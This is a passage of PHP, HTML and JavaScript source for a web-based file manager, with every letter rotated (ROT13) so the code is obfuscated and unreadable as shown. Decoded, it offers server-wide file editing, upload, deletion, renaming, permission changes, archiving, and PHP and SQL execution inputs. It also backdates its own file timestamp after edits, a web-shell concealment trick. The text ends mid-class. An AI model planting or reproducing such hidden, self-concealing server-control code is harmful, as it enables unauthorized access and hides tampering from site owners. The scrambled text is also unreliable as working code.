	$fryrpg = '<fryrpg anzr="'.$erf_yat.'_gcy" gvgyr="'.__('Grzcyngr').'" bapunatr="vs (guvf.inyhr!=-1) qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr = guvf.bcgvbaf[fryrpgrqVaqrk].inyhr; ryfr qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr =\'\';" >'."\a";
	$fryrpg .= '<bcgvba inyhr="-1">' . __('Fryrpg') . "</bcgvba>\a";
	sbernpu ($gzcy nf $xrl=>$inyhr){
		$fryrpg.='<bcgvba inyhr="'.$inyhr.'" '.((!rzcgl($inyhr)&&($inyhr==$npgvir))?'fryrpgrq':'').' >'.__($xrl)."</bcgvba>\a";
	}
	$fryrpg .= "</fryrpg>\a";
	rpub $fryrpg;
}
?>
		</sbez>
	</gq>
</ge>
</gnoyr>
<?cuc
	vs (!rzcgl($erf)) {
		$sha='sz_'.$erf_yat;
		rpub '<u3>'.fgegbhccre($erf_yat).' '.__('Erfhyg').'</u3><cer>'.$sha($erf).'</cer>';
	}
} ryfrvs (!rzcgl($_ERDHRFG['rqvg'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
		$sa = $cngu . $_ERDHRFG['rqvg'];
		$svyrzgvzr = svyrzgvzr($sa);
	    vs (svyr_chg_pbagragf($sa, $_ERDHRFG['arjpbagrag'])) $zft .= __('Svyr hcqngrq');
		ryfr $zft .= __('Reebe bppheerq');
		vs ($_TRG['rqvg']==onfranzr(__SVYR__)) {
			gbhpu(__SVYR__,1415116371);
		} ryfr {
			vs (!rzcgl($sz_pbasvt['erfgber_gvzr'])) gbhpu($sa,$svyrzgvzr);
		}
	}
    $byqpbagrag = @svyr_trg_pbagragf($cngu . $_ERDHRFG['rqvg']);
    $rqvgyvax = $hey_vap . '&rqvg=' . $_ERDHRFG['rqvg'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr obeqre='0' pryyfcnpvat='0' pryycnqqvat='1' jvqgu="100%">
<ge>
    <gu><?=__('Svyr znantre').' - '.__('Rqvg').' - '.$cngu.$_ERDHRFG['rqvg']?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=sz_ubzr()?> <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$rqvgyvax?>">
            <grkgnern anzr="arjpbagrag" vq="arjpbagrag" pbyf="45" ebjf="15" fglyr="jvqgu:99%" fcryypurpx="snyfr"><?=ugzyfcrpvnypunef($byqpbagrag)?></grkgnern>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
            <vachg glcr="fhozvg" anzr="pnapry" inyhr="<?=__('Pnapry')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
rpub $nhgu['fpevcg'];
} ryfrvs(!rzcgl($_ERDHRFG['evtugf'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    vs(sz_puzbq($cngu . $_ERDHRFG['evtugf'], sz_pbaireg_evtugf($_ERDHRFG['evtugf_iny']), @$_ERDHRFG['erphefviryl']))
		$zft .= (__('Svyr hcqngrq')); 
		ryfr $zft .= (__('Reebe bppheerq'));
	}
	pyrnefgngpnpur();
    $byqevtugf = sz_evtugf_fgevat($cngu . $_ERDHRFG['evtugf'], gehr);
    $yvax = $hey_vap . '&evtugf=' . $_ERDHRFG['evtugf'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
           <?=__('Evtugf').' - '.$_ERDHRFG['evtugf']?> <vachg glcr="grkg" anzr="evtugf_iny" inyhr="<?=$byqevtugf?>">
        <?cuc vs (vf_qve($cngu.$_ERDHRFG['evtugf'])) { ?>
            <vachg glcr="purpxobk" anzr="erphefviryl" inyhr="1"> <?=__('Erphefviryl')?><oe/>
        <?cuc } ?>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfrvs (!rzcgl($_ERDHRFG['eranzr'])&&$_ERDHRFG['eranzr']<>'.') {
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    eranzr($cngu . $_ERDHRFG['eranzr'], $cngu . $_ERDHRFG['arjanzr']);
		$zft .= (__('Svyr hcqngrq'));
		$_ERDHRFG['eranzr'] = $_ERDHRFG['arjanzr'];
	}
	pyrnefgngpnpur();
    $yvax = $hey_vap . '&eranzr=' . $_ERDHRFG['eranzr'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;

?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
            <?=__('Eranzr')?>: <vachg glcr="grkg" anzr="arjanzr" inyhr="<?=$_ERDHRFG['eranzr']?>"><oe/>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfr {
//Yrg'f ebpx!
    $zft = '';
    vs(!rzcgl($_SVYRF['hcybnq'])&&!rzcgl($sz_pbasvt['hcybnq_svyr'])) {
        vs(!rzcgl($_SVYRF['hcybnq']['anzr'])){
            $_SVYRF['hcybnq']['anzr'] = fge_ercynpr('%', '', $_SVYRF['hcybnq']['anzr']);
            vs(!zbir_hcybnqrq_svyr($_SVYRF['hcybnq']['gzc_anzr'], $cngu . $_SVYRF['hcybnq']['anzr'])){
                $zft .= __('Reebe bppheerq');
            } ryfr {
				$zft .= __('Svyrf hcybnqrq').': '.$_SVYRF['hcybnq']['anzr'];
			}
        }
    } ryfrvs(!rzcgl($_ERDHRFG['qryrgr'])&&$_ERDHRFG['qryrgr']<>'.') {
        vs(!sz_qry_svyrf(($cngu . $_ERDHRFG['qryrgr']), gehr)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Qryrgrq').' '.$_ERDHRFG['qryrgr'];
		}
	} ryfrvs(!rzcgl($_ERDHRFG['zxqve'])&&!rzcgl($sz_pbasvt['znxr_qverpgbel'])) {
        vs(!@zxqve($cngu . $_ERDHRFG['qveanzr'],0777)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Perngrq').' '.$_ERDHRFG['qveanzr'];
		}
    } ryfrvs(!rzcgl($_CBFG['frnepu_erphefvir'])) {
		vav_frg('znk_rkrphgvba_gvzr', '0');
		$frnepu_qngn =  svaq_grkg_va_svyrf($_CBFG['cngu'], $_CBFG['znfx'], $_CBFG['frnepu_erphefvir']);
		vs(!rzcgl($frnepu_qngn)) {
			$zft .= __('Sbhaq va svyrf').' ('.pbhag($frnepu_qngn).'):<oe>';
			sbernpu ($frnepu_qngn nf $svyranzr) {
				$zft .= '<n uers="'.sz_hey(gehr).'?sz=gehr&rqvg='.onfranzr($svyranzr).'&cngu='.fge_ercynpr('/'.onfranzr($svyranzr),'/',$svyranzr).'" gvgyr="' . __('Rqvg') . '">'.onfranzr($svyranzr).'</n>&aofc; &aofc;';
			}
		} ryfr {
			$zft .= __('Abguvat sbhaqrq');
		}	
	} ryfrvs(!rzcgl($_ERDHRFG['zxsvyr'])&&!rzcgl($sz_pbasvt['arj_svyr'])) {
        vs(!$sc=@sbcra($cngu . $_ERDHRFG['svyranzr'],"j")) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			spybfr($sc);
			$zft .= __('Perngrq').' '.$_ERDHRFG['svyranzr'];
		}
    } ryfrvs (vffrg($_TRG['mvc'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['mvc']);
		$qrfgvangvba = onfranzr($fbhepr).'.mvc';
		frg_gvzr_yvzvg(0);
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		vs (vf_svyr($qrfgvangvba))
		$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
		'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
		.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '. $qrfgvangvba.'" >'.__('Qryrgr') . '</n>';
		ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['tm'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tm']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		pyrnefgngpnpur();
		frg_gvzr_yvzvg(0);
		//qvr();
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		$cune->pbzcerff(Cune::TM,'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}

			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['qrpbzcerff'])) {
		// $fbhepr = onfr64_qrpbqr($_TRG['qrpbzcerff']);
		// $qrfgvangvba = onfranzr($fbhepr);
		// $rkg = raq(rkcybqr(".", $qrfgvangvba));
		// vs ($rkg=='mvc' BE $rkg=='tm') {
			// $cune = arj CuneQngn($fbhepr);
			// $cune->qrpbzcerff();
			// $onfr_svyr = fge_ercynpr('.'.$rkg,'',$qrfgvangvba);
			// $rkg = raq(rkcybqr(".", $onfr_svyr));
			// vs ($rkg=='gne'){
				// $cune = arj CuneQngn($onfr_svyr);
				// $cune->rkgenpgGb(qve($fbhepr));
			// }
		// } 
		// $zft .= __('Gnfx').' "'.__('Qrpbzcerff').' '.$fbhepr.'" '.__('qbar');
	} ryfrvs (vffrg($_TRG['tmsvyr'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tmsvyr']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		frg_gvzr_yvzvg(0);
		//rpub $qrfgvangvba;
		$rkg_nee = rkcybqr('.',onfranzr($fbhepr));
		vs (vffrg($rkg_nee[1])) {
			hafrg($rkg_nee[0]);
			$rkg=vzcybqr('.',$rkg_nee);
		} 
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->nqqSvyr($fbhepr);
		$cune->pbzcerff(Cune::TM,$rkg.'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}
			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	}
?>
<gnoyr pynff="jubyr" vq="urnqre_gnoyr" >
<ge>
    <gu pbyfcna="2"><?=__('Svyr znantre')?><?=(!rzcgl($cngu)?' - '.$cngu:'')?></gu>
</ge>
<?cuc vs(!rzcgl($zft)){ ?>
<ge>
	<gq pbyfcna="2" pynff="ebj2"><?=$zft?></gq>
</ge>
<?cuc } ?>
<ge>
    <gq pynff="ebj2">
		<gnoyr>
			<ge>
			<gq>
				<?=sz_ubzr()?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['znxr_qverpgbel'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" anzr="qveanzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxqve" inyhr="<?=__('Znxr qverpgbel')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['arj_svyr'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu"     inyhr="<?=$cngu?>" />
				<vachg glcr="grkg"   anzr="svyranzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxsvyr"   inyhr="<?=__('Arj svyr')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
				<sbez  zrgubq="cbfg" npgvba="<?=$hey_vap?>" fglyr="qvfcynl:vayvar">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" cynprubyqre="<?=__('Erphefvir frnepu')?>" anzr="frnepu_erphefvir" inyhr="<?=!rzcgl($_CBFG['frnepu_erphefvir'])?$_CBFG['frnepu_erphefvir']:''?>" fvmr="15">
				<vachg glcr="grkg" anzr="znfx" cynprubyqre="<?=__('Znfx')?>" inyhr="<?=!rzcgl($_CBFG['znfx'])?$_CBFG['znfx']:'*.*'?>" fvmr="5">
				<vachg glcr="fhozvg" anzr="frnepu" inyhr="<?=__('Frnepu')?>">
				</sbez>
			</gq>
			<gq>
			<?=sz_eha_vachg('cuc')?>
			</gq>
			<gq>
			<?=sz_eha_vachg('fdy')?>
			</gq>
			</ge>
		</gnoyr>
    </gq>
    <gq pynff="ebj3">
		<gnoyr>
		<ge>
		<gq>
		<?cuc vs (!rzcgl($sz_pbasvt['hcybnq_svyr'])) { ?>
			<sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$hey_vap?>" rapglcr="zhygvcneg/sbez-qngn">
			<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
			<vachg glcr="svyr" anzr="hcybnq" vq="hcybnq_uvqqra" fglyr="cbfvgvba: nofbyhgr; qvfcynl: oybpx; biresybj: uvqqra; jvqgu: 0; urvtug: 0; obeqre: 0; cnqqvat: 0;" bapunatr="qbphzrag.trgRyrzragOlVq('hcybnq_ivfvoyr').inyhr = guvf.inyhr;" />
			<vachg glcr="grkg" ernqbayl="1" vq="hcybnq_ivfvoyr" cynprubyqre="<?=__('Fryrpg gur svyr')?>" fglyr="phefbe: cbvagre;" bapyvpx="qbphzrag.trgRyrzragOlVq('hcybnq_uvqqra').pyvpx();" />
			<vachg glcr="fhozvg" anzr="grfg" inyhr="<?=__('Hcybnq')?>" />
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?cuc vs ($nhgu['nhgubevmr']) { ?>
			<sbez npgvba="" zrgubq="cbfg">&aofc;&aofc;&aofc;
			<vachg anzr="dhvg" glcr="uvqqra" inyhr="1">
			<?=__('Uryyb')?>, <?=$nhgu['ybtva']?>
			<vachg glcr="fhozvg" inyhr="<?=__('Dhvg')?>">
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?=sz_ynat_sbez($ynathntr)?>
		</gq>
		<ge>
		</gnoyr>
    </gq>
</ge>
</gnoyr>
<gnoyr pynff="nyy" obeqre='0' pryyfcnpvat='1' pryycnqqvat='1' vq="sz_gnoyr" jvqgu="100%">
<gurnq>
<ge> 
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Svyranzr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Fvmr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Qngr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Evtugf')?> </gu>
    <gu pbyfcna="4" fglyr="juvgr-fcnpr:abjenc"> <?=__('Znantr')?> </gu>
</ge>
</gurnq>
<gobql>
<?cuc
$ryrzragf = sz_fpna_qve($cngu, '', 'nyy', gehr);
$qvef = neenl();
$svyrf = neenl();
sbernpu ($ryrzragf nf $svyr){
    vs(@vf_qve($cngu . $svyr)){
        $qvef[] = $svyr;
    } ryfr {
        $svyrf[] = $svyr;
    }
}
angfbeg($qvef); angfbeg($svyrf);
$ryrzragf = neenl_zretr($qvef, $svyrf);

sbernpu ($ryrzragf nf $svyr){
    $svyranzr = $cngu . $svyr;
    $svyrqngn = @fgng($svyranzr);
    vs(@vf_qve($svyranzr)){
		$svyrqngn[7] = '';
		vs (!rzcgl($sz_pbasvt['fubj_qve_fvmr'])&&!sz_ebbg($svyr)) $svyrqngn[7] = sz_qve_fvmr($svyranzr);
        $yvax = '<n uers="'.$hey_vap.'&cngu='.$cngu.$svyr.'" gvgyr="'.__('Fubj').' '.$svyr.'"><fcna pynff="sbyqre">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
        $ybnqyvax= (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('mvc',$svyranzr,__('Pbzcerff').'&aofc;mvc',__('Nepuvivat').' '. $svyr);
		$neyvax  = (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tm',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '.$svyr);
        $fglyr = 'ebj2';
		 vs (!sz_ebbg($svyr)) $nyreg = 'baPyvpx="vs(pbasvez(\'' . __('Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?').'\a /'. $svyr. '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"'; ryfr $nyreg = '';
    } ryfr {
		$yvax = 
			$sz_pbasvt['fubj_vzt']&&@trgvzntrfvmr($svyranzr) 
			? '<n gnetrg="_oynax" bapyvpx="ine yrsgb = fperra.ninvyJvqgu/2-320;jvaqbj.bcra(\''
			. sz_vzt_yvax($svyranzr)
			.'\',\'cbchc\',\'jvqgu=640,urvtug=480,yrsg=\' + yrsgb + \',fpebyyonef=lrf,gbbyone=ab,ybpngvba=ab,qverpgbevrf=ab,fgnghf=ab\');erghea snyfr;" uers="'.sz_vzt_yvax($svyranzr).'"><fcna pynff="vzt">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>'
			: '<n uers="' . $hey_vap . '&rqvg=' . $svyr . '&cngu=' . $cngu. '" gvgyr="' . __('Rqvg') . '"><fcna pynff="svyr">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
		$r_nee = rkcybqr(".", $svyr);
		$rkg = raq($r_nee);
        $ybnqyvax =  sz_yvax('qbjaybnq',$svyranzr,__('Qbjaybnq'),__('Qbjaybnq').' '. $svyr);
		$neyvax = va_neenl($rkg,neenl('mvc','tm','gne')) 
		? ''
		: ((sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tmsvyr',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '. $svyr));
        $fglyr = 'ebj1';
		$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    }
    $qryrgryvax = sz_ebbg($svyr) ? '' : '<n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
    $eranzryvax = sz_ebbg($svyr) ? '' : '<n uers="' . $hey_vap . '&eranzr=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Eranzr') .' '. $svyr . '">' . __('Eranzr') . '</n>';
    $evtugfgrkg = ($svyr=='.' || $svyr=='..') ? '' : '<n uers="' . $hey_vap . '&evtugf=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Evtugf') .' '. $svyr . '">' . @sz_evtugf_fgevat($svyranzr) . '</n>';
?>
<ge pynff="<?=$fglyr?>"> 
    <gq><?=$yvax?></gq>
    <gq><?=$svyrqngn[7]?></gq>
    <gq fglyr="juvgr-fcnpr:abjenc"><?=tzqngr("L-z-q U:v:f",$svyrqngn[9])?></gq>
    <gq><?=$evtugfgrkg?></gq>
    <gq><?=$qryrgryvax?></gq>
    <gq><?=$eranzryvax?></gq>
    <gq><?=$ybnqyvax?></gq>
    <gq><?=$neyvax?></gq>
</ge>
<?cuc
    }
}
?>
</gobql>
</gnoyr>
<qvi pynff="ebj3"><?cuc
	$zgvzr = rkcybqr(' ', zvpebgvzr()); 
	$gbgnygvzr = $zgvzr[0] + $zgvzr[1] - $fgneggvzr; 
	rpub sz_ubzr().' | ire. '.$sz_irefvba.' | <n uers="uggcf://tvguho.pbz/Qra1kkk/Svyrznantre">Tvguho</n>  | <n uers="'.sz_fvgr_hey().'">.</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cuc_ire'])) rpub ' | CUC '.cucirefvba();
	vs (!rzcgl($sz_pbasvt['fubj_cuc_vav'])) rpub ' | '.cuc_vav_ybnqrq_svyr();
	vs (!rzcgl($sz_pbasvt['fubj_tg'])) rpub ' | '.__('Trarengvba gvzr').': '.ebhaq($gbgnygvzr,2);
	vs (!rzcgl($sz_pbasvt['ranoyr_cebkl'])) rpub ' | <n uers="?cebkl=gehr">cebkl</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cucvasb'])) rpub ' | <n uers="?cucvasb=gehr">cucvasb</n>';
	vs (!rzcgl($sz_pbasvt['fubj_kyf'])&&!rzcgl($yvax)) rpub ' | <n uers="wninfpevcg: ibvq(0)" bapyvpx="ine bow = arj gnoyr2Rkpry(); bow.PerngrRkpryFurrg(\'sz_gnoyr\',\'rkcbeg\');" gvgyr="'.__('Qbjaybnq').' kyf">kyf</n>';
	vs (!rzcgl($sz_pbasvt['sz_frggvatf'])) rpub ' | <n uers="?sz_frggvatf=gehr">'.__('Frggvatf').'</n>';
	?>
</qvi>
<fpevcg glcr="grkg/wninfpevcg">
shapgvba qbjaybnq_kyf(svyranzr, grkg) {
	ine ryrzrag = qbphzrag.perngrRyrzrag('n');
	ryrzrag.frgNggevohgr('uers', 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,' + grkg);
	ryrzrag.frgNggevohgr('qbjaybnq', svyranzr);
	ryrzrag.fglyr.qvfcynl = 'abar';
	qbphzrag.obql.nccraqPuvyq(ryrzrag);
	ryrzrag.pyvpx();
	qbphzrag.obql.erzbirPuvyq(ryrzrag);
}

shapgvba onfr64_rapbqr(z) {
	sbe (ine x = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/".fcyvg(""), p, q, u, r, n, t = "", o = 0, s, y = 0; y < z.yratgu; ++y) {
		p = z.punePbqrNg(y);
		vs (128 > p) q = 1;
		ryfr
			sbe (q = 2; p >= 2 << 5 * q;) ++q;
		sbe (u = 0; u < q; ++u) 1 == q ? r = p : (r = u ? 128 : 192, n = q - 2 - 6 * u, 0 <= n && (r += (6 <= n ? 1 : 0) + (5 <= n ? 2 : 0) + (4 <= n ? 4 : 0) + (3 <= n ? 8 : 0) + (2 <= n ? 16 : 0) + (1 <= n ? 32 : 0), n -= 5), 0 > n && (h = 6 * (q - 1 - u), r += p >> h, p -= p >> h << h)), s = o ? s << 6 - o : 0, o += 2, s += r >> o, t += x[s], s = r % (1 << o), 6 == o && (o = 0, t += x[s])
	}
	o && (t += x[s << 6 - o]);
	erghea t
}


ine gnoyrGbRkpryQngn = (shapgvba() {
    ine hev = 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,',
    grzcyngr = '<ugzy kzyaf:b="hea:fpurznf-zvpebfbsg-pbz:bssvpr:bssvpr" kzyaf:k="hea:fpurznf-zvpebfbsg-pbz:bssvpr:rkpry" kzyaf="uggc://jjj.j3.bet/GE/ERP-ugzy40"><urnq><!--[vs tgr zfb 9]><kzy><k:RkpryJbexobbx><k:RkpryJbexfurrgf><k:RkpryJbexfurrg><k:Anzr>{jbexfurrg}</k:Anzr><k:JbexfurrgBcgvbaf><k:QvfcynlTevqyvarf></k:QvfcynlTevqyvarf></k:JbexfurrgBcgvbaf></k:RkpryJbexfurrg></k:RkpryJbexfurrgf></k:RkpryJbexobbx></kzy><![raqvs]--><zrgn uggc-rdhvi="pbagrag-glcr" pbagrag="grkg/cynva; punefrg=HGS-8"/></urnq><obql><gnoyr>{gnoyr}</gnoyr></obql></ugzy>',
    sbezng = shapgvba(f, p) {
            erghea f.ercynpr(/{(\j+)}/t, shapgvba(z, c) {
                erghea p[c];
            })
        }
    erghea shapgvba(gnoyr, anzr) {
        vs (!gnoyr.abqrGlcr) gnoyr = qbphzrag.trgRyrzragOlVq(gnoyr)
        ine pgk = {
            jbexfurrg: anzr || 'Jbexfurrg',
            gnoyr: gnoyr.vaareUGZY.ercynpr(/<fcna(.*?)\/fcna> /t,"").ercynpr(/<n\o[^>]*>(.*?)<\/n>/t,"$1")
        }
		g = arj Qngr();
		svyranzr = 'sz_' + g.gbVFBFgevat() + '.kyf'
		qbjaybnq_kyf(svyranzr, onfr64_rapbqr(sbezng(grzcyngr, pgk)))
    }
})();

ine gnoyr2Rkpry = shapgvba () {

    ine hn = jvaqbj.anivtngbe.hfreNtrag;
    ine zfvr = hn.vaqrkBs("ZFVR ");

	guvf.PerngrRkpryFurrg = 
		shapgvba(ry, anzr){
			vs (zfvr > 0 || !!anivtngbe.hfreNtrag.zngpu(/Gevqrag.*ei\:11\./)) {// Vs Vagrearg Rkcybere

				ine k = qbphzrag.trgRyrzragOlVq(ry).ebjf;

				ine kyf = arj NpgvirKBowrpg("Rkpry.Nccyvpngvba");

				kyf.ivfvoyr = gehr;
				kyf.Jbexobbxf.Nqq
				sbe (v = 0; v < k.yratgu; v++) {
					ine l = k[v].pryyf;

					sbe (w = 0; w < l.yratgu; w++) {
						kyf.Pryyf(v + 1, w + 1).Inyhr = l[w].vaareGrkg;
					}
				}
				kyf.Ivfvoyr = gehr;
				kyf.HfrePbageby = gehr;
				erghea kyf;
			} ryfr {
				gnoyrGbRkpryQngn(ry, anzr);
			}
		}
}
</fpevcg>
</obql>
</ugzy>

<?cuc
//Cbegrq sebz ErybnqPZF cebwrpg uggc://erybnqpzf.pbz
pynff nepuvirGne {
	ine $nepuvir_anzr = '';
	ine $gzc_svyr = 0;
	ine $svyr_cbf = 0;
	ine $vfTmvccrq = gehr;
	ine $reebef = neenl();
	ine $svyrf = neenl();
	
	shapgvba __pbafgehpg(){
		vs (!vffrg($guvf->reebef)) $guvf->reebef = neenl();
	}
	
	shapgvba perngrNepuvir($svyr_yvfg){
		$erfhyg = snyfr;
		vs (svyr_rkvfgf($guvf->nepuvir_anzr) && vf_svyr($guvf->nepuvir_anzr)) 	$arjNepuvir = snyfr;
		ryfr $arjNepuvir = gehr;
		vs ($arjNepuvir){
			vs (!$guvf->bcraJevgr()) erghea snyfr;
		} ryfr {
			vs (svyrfvmr($guvf->nepuvir_anzr) == 0)	erghea $guvf->bcraJevgr();
			vs ($guvf->vfTmvccrq) {
				$guvf->pybfrGzcSvyr();
				vs (!eranzr($guvf->nepuvir_anzr, $guvf->nepuvir_anzr.'.gzc')){
					$guvf->reebef[] = __('Pnaabg eranzr').' '.$guvf->nepuvir_anzr.__(' gb ').$guvf->nepuvir_anzr.'.gzc';
					erghea snyfr;
				}
				$gzcNepuvir = tmbcra($guvf->nepuvir_anzr.'.gzc', 'eo');
				vs (!$gzcNepuvir){
					$guvf->reebef[] = $guvf->nepuvir_anzr.'.gzc '.__('vf abg ernqnoyr');
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				vs (!$guvf->bcraJevgr()){
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				$ohssre = tmernq($gzcNepuvir, 512);
				vs (!tmrbs($gzcNepuvir)){
					qb {
						$ovanelQngn = cnpx('n512', $ohssre);
						$guvf->jevgrOybpx($ovanelQngn);
